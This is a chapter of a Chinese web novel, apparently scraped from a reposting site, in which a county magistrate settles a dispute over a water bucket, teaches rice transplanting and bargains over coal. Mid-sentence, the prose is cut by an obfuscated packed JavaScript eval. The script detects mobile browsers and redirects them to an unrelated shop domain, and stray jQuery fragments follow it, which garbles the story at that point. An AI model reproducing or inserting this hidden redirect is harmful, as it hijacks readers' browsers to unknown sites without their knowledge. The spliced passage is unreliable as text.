三月初六·天晴无雨
霁清正带着人在官田中收拢晒干后的草根,集中焚烧,远处就传来了一阵阵喧哗声!
霁清拧眉,一旁的马忠让人去看看,很快,姜方就带着三个百姓过来了。
两个壮劳力,一个老妇人,虽然面容还是消瘦的,但身上已经穿着李荷她们带着人统一制作的棉衣棉裤和棉鞋。
霁清挑眉。
老妇人一到霁清跟前就噗通一下跪下,哭喊着道,“大人啊,请您做主啊!这陈二水就是欺负人……”
叫陈二水的壮劳力急了,大喊道,“我没有!”
霁清抬抬手,“你们先别急,一个个说。”
“老人家,你先起来。”
霁清让马忠上前扶起老妇人。
老妇人也没抗拒,老老实实起身了,抹着眼泪哭着道,“大人,我家的地和陈二水是挨着的,前些日子大家一起春耕,本来好好的,可今儿,陈二水就故意将我家运到田埂上的水浇到他地头上了,还说那本来就是他家的桶。”
“可那分明是我家的木桶,那还是我那口子活着的时候做的,桶壁上还有我家儿子小时候划的划痕呢……”
霁清点点头,“桶呢?”
姜方转身跑过去找出来,提着两个木桶放在了霁清跟前。
霁清看了看,一个木桶外壁上确实是有一道很清晰的划痕,另一个木桶则是已经破口了,还有一些板子都已经高低不平。
很显然,破口的木桶是提不了多少水的。
霁清眸光微闪,笑了笑,让老妇人继续说下去。
老妇人立马哭得更加可怜了,“我知道,我家就我和儿子俩,也穷,没钱给孩子娶媳妇儿,但是他陈二水不能可着我们母子俩可劲儿地欺负啊!”
“欺负我们孤儿寡母算怎么回事儿……他陈家在村里是家大人口多,可也不能总欺负人啊……”
陈二水急得不行,脸都涨红了,恶狠狠地瞪着老妇人,“你撒谎!”
马忠冷着脸喝道,“没听大人说吗?一个个说,一会有你开口的机会,现在闭嘴!”
陈二水眼眶都红了。
霁清含笑对老妇人道,“还有吗?”
老妇人哭声一顿,摇摇头,很是怯懦地看了看霁清。
霁清转头看向陈二水,“你就是陈二水吧,现在轮到你说了。”
陈二水红着眼,恶狠狠地瞪着老妇人道,“这个张家老婆子说的都是假话,这是我的木桶,明明是他们想占便宜,用我家的水,可她却反过来诬陷我!”
“我没有欺负人!”
周围本来就有不少人,加上还在服役的那些匪众,这会都停下手里的活儿,一个个都垫着脚看,竖起耳朵听。
霁清扫视了一圈众人,含笑道,“你说木桶是你的,有什么证据吗?”
陈二水愣住,“就是木桶上的划痕啊,那是我儿子调皮弄的。”
霁清点头,“你什么时候做的木桶?”
陈二水拧眉,想了一会才犹豫地道,“好像是前年?忘了,反正水桶这东西,家里用坏了就换或者重新做一个……”
霁清笑笑,面上还是十分和煦,问老妇人,“你是姓张?”
张婆子摇头,“我不姓张,我家去世那口子姓张,我们都是外来的,就在陈家村里住下了……”
霁清抬头,很快,就有陈锐泽带着陈家村的村长过来,陈村长在霁清跟前行了一礼,“大人。”
“你就是陈家村的村长?”
陈村长点头,“是,刚才里长已经跟我说了,这张婆子一家确实是二十多年前来的我们村里落户的,那时候我们村的地多,就给他们分了一块宅基地和荒地……”
霁清颔首,“那张家的张老汉是啥时候去世的?”
“七年前,是因为春季大雨,被水冲走了。”
霁清对陈村长道,“你们村的地也在这里?”
“不是,以前我们村的地不在这边,是这些年逐渐接手了一些无人耕种的地才渐渐到了这边。”
霁清明白了,“那陈二水和张婆子家的地是怎么回事儿?”
“他们是自己选的地,两家就挨着。”
霁清笑了,“行了,我知道了,你先站在一边吧。”
“是,大人。”
陈村长抬手擦了擦汗,安静地站在一旁了。
张婆子一边低声抽泣着一边怯懦地看着霁清,霁清蹲下来,仔细地看了看两个木桶,随后起身,对张婆子道,“老人家,你还有什么要说的吗?”
张婆子哭着道,“我求大人给我做主!”
霁清摇头笑笑,随即收敛了笑容,严肃地看着她道,“你要知道,如果只是一般的事儿,我是不会跟你计较的,可如今正是春耕时期,从涌泉山运水和无忧谷运水出来灌溉,是本官下的县衙政令。”
“你可明白政令的严肃性?”
张婆子都不敢哭了,“大人?”
霁清冷着脸道,“政令就是你们必须听我的,有什么小心思都要给我收好了,不能在这个时候耽误春耕大事儿!”
“你说这个有划痕的木桶是你的,那本官问你,你家的木桶用了七年?”
张婆子懵了,“啊?是、是啊……”
霁清嗤笑,“用了七年的木桶,这桐油竟然还能闻到一点点味道?竟然还没有多少磕坏?甚至都没有桶板开裂?”
张婆子脸色一变。
霁清冷哼一声,“你平时如何本官不管,你竟然胆敢在春耕时期闹这种事儿,你是当本官愚笨吗?”
张婆子立马跪下,砰砰磕头,“大人,老婆子我错了!”
霁清却冷眼看向那个一直一声不吭的人,“你是张婆子的儿子吧,你就这样看着你年迈的母亲闹?”
张大有立马跪下,“大人,我错了,我、我听我娘的。”
霁清闭了闭眼,淡淡道,“马忠,带着陈村长去他们家的地,将两亩地划出来。”
“是!”
张婆子立马一个飞扑抓住了马忠的裤腿,“大人,不行啊,大人!这地就是我家的命根子啊!不能划走啊!”
霁清淡淡道,“那行,那你们母子二人就以欺瞒县衙主官诬告的罪名流放三千里吧!”
张婆子和张大有两人瞬间脸色一白,“大人?!”
不是说大人对百姓们很好吗?
怎么他们只是用了陈二水家的一桶水就对他们如此苛刻了?
霁清冷眼看着他们母子,“你们若是其他时候折腾这种占小便宜的事儿,本官都可以从轻处置,可春耕时期不行!”
知道一个人闹起来要耽误多少事儿吗?
本来生产力就有限了,人力也有限,结果还在这个需要争分夺秒,多耕种几亩地的时间点来闹事儿?
不杀鸡儆猴一下,这些人都不知道好歹!
张家母子俩瞬间软倒在地,霁清看向马忠,马忠立马抽出自己的腿,扯着已经呆住的陈村长走了。
陈锐泽则是行礼道,“是属下没有做好监察之事,请大人责罚。”
“就罚你十两银子吧。”
霁清淡淡道,转而看向还在围观的众人,“我希望大家不要在春耕时节做这种损人不利己的事儿,但凡让本官发现,一律重罚!”
众人立马稀稀拉拉地应下。
陈二水都被吓到了,规规矩矩地站在一边不说话。
霁清看向他,“你一会过去,将那两亩地插上,你家的标牌,若是有人敢找你麻烦,你就来县衙找我。”
陈二水大喜,立马跪下磕头,“是,大人,谢谢大人,大人您是青天大老爷啊!”
霁清无奈,让人赶紧扶起他,摆手道,“行了,赶紧回去耕种,莫要耽误了时间。”
“是,大人。”
陈二水高高兴兴地提着自己的木桶走了。
山葵满脸崇拜地看着霁清,“大人,您真厉害!”
霁清笑,抬手揉了揉她的头顶,“好了,咱们继续干活儿吧。”
说着拿着铁锹下地,挖了适当的深度范围,还平整了一下田埂,让陈县丞拿量尺量过宽度,“这个宽度正好是一个独轮车能通过的宽度,如果以后运送的载具发生变化,也是要根据具体情况来增加的。”
陈县丞点头,“知道了大人。”
“这个田深度也是有说法的,一会灌水了之后你就知道了。”
陈县丞颔首,“大人,这水稻在我们这里是不是不太适宜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765122|206090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
啊。”
霁清摇头,“没有什么不适宜的,我们这里是缺水,但也不是完全种不了,更何况,不种水稻,光是种春麦和冬麦也是不行的。”
主要是产量都低的情况下,多一种水稻出产,肯定是比没有强的。
“再说了,百姓们可以多一种选择,哪怕以后缴纳税粮也比现在从容。”
至少不至于交了税粮就直接饿死的程度。
陈县丞明白了。
“大人说得是。”
霁清整理好这一亩,就让人开始灌水,一车车的水灌进田地里,渐渐没过霁清的脚踝,霁清看着水位到了自己小腿中上的位置才喊停。
随后开始将已经运到这边,一直有专人看管,照料的秧苗拿出来,开始插秧。
众人一看,都面面相觑,不过还是很快加入了进来,霁清跟他们一一说明怎么插秧才能让秧苗最大程度成活……
一直忙碌到中午,山葵才站在田埂上喊,“大人,吃饭了!”
“诶,我马上来!”
廖维安和袁铭辉两人到来时看到的就是,霁清正从田里走上来,双脚都是泥巴,甚至还有几只蚂蟥粘在她腿上。
霁清非常淡定地用内力一震,就让蚂蟥都掉落在地上,让山葵用竹制夹子夹起来,放到竹筒里,等回去了制成药材。
这玩意儿若是用来制作金创药,可是效果把群。
霁清从饭篮中拿出饭碗,坐在地上就这么开吃了。
廖维安拧眉,袁铭辉赶紧过来行礼,“独孤大人。”
霁清讶异,“袁大人,你怎么来了?吃过了吗?”
霁清转头看向山葵,山葵拧眉,“大人,今儿就给您带了饭。”
其他人的饭都是周戈他们带过来的,跟大人的是一样的,就只有一道菜是鱼大人自己出钱买的材料,自己做的。
霁清尴尬了,袁铭辉赶紧道,“不用不用,我们吃过了,我家大人也来了。”
周金贵跟在廖维安身后,看着一身布衣,不拘小节的霁清,不由对一旁正在和马忠他们抢饭菜吃的大牛充满羡慕。
随后便看到了罗满仓。
周金贵微微挑眉,好家伙!
这小子竟然也来了这里?
不会是投奔了独孤大人吧?
廖维安走过来,也不计较啥了,学着霁清一样席地而坐,“独孤大人,我来这里是跟你说一声,大概秋后,我就要回京了。”
这一次,他转向快,加上朝中安永帝又一次定性,萧宗珩一派也没打算为难他,他便得到了一个晋升回京的机会了。
当然,明升暗贬什么的,就不必多说了,大家都心照不宣。
他能保住官位,没有被问罪,更没有被牵连,其实已经很好了。
霁清讶异,“那恭喜廖大人了。”
廖维安有些别扭地道,“是我要谢你才对,我也不知道你需要什么,就给你找了一些上好的笔墨,你看看吧。”
说着就让身后的周金贵将背着的包袱接下来,交给了山葵。
山葵接过,检查了一下,才递给霁清,霁清笑,打开看了看,是一幅山水画,还是名家微寒居士的作品。
这可是独孤怀仁都十分喜欢的书画大家。
霁清挑眉,“这可太贵重了。”
廖维安摆手,“这也是我偶然所得,送给你也不算辱没。”
至少独孤霁清那一手字是真的好。
霁清合上木盒,含笑看向廖维安,“其实大人不必这么客气,我还有一事要求你呢。”
廖维安挑眉,“独孤大人言重了,你说说是什么事儿?”
“就是贵县的煤。”
廖维安拧眉,“那不是我能插手的。”
“可现在陛下还没派人来接手不是吗?”
廖维安恍然,看了一眼霁清手中的木盒,“独孤大人的意思是……”
霁清将木盒还给他,“我的意思很简单,只要大人将矿区内的那些低等煤划一部分给安远县衙购买,就可以了。”
廖维安讶异,“你们县衙买?”
“没错。”霁清笑笑,“难道大人还打算送?”
廖维安:……
这是在骂他,还是在损他?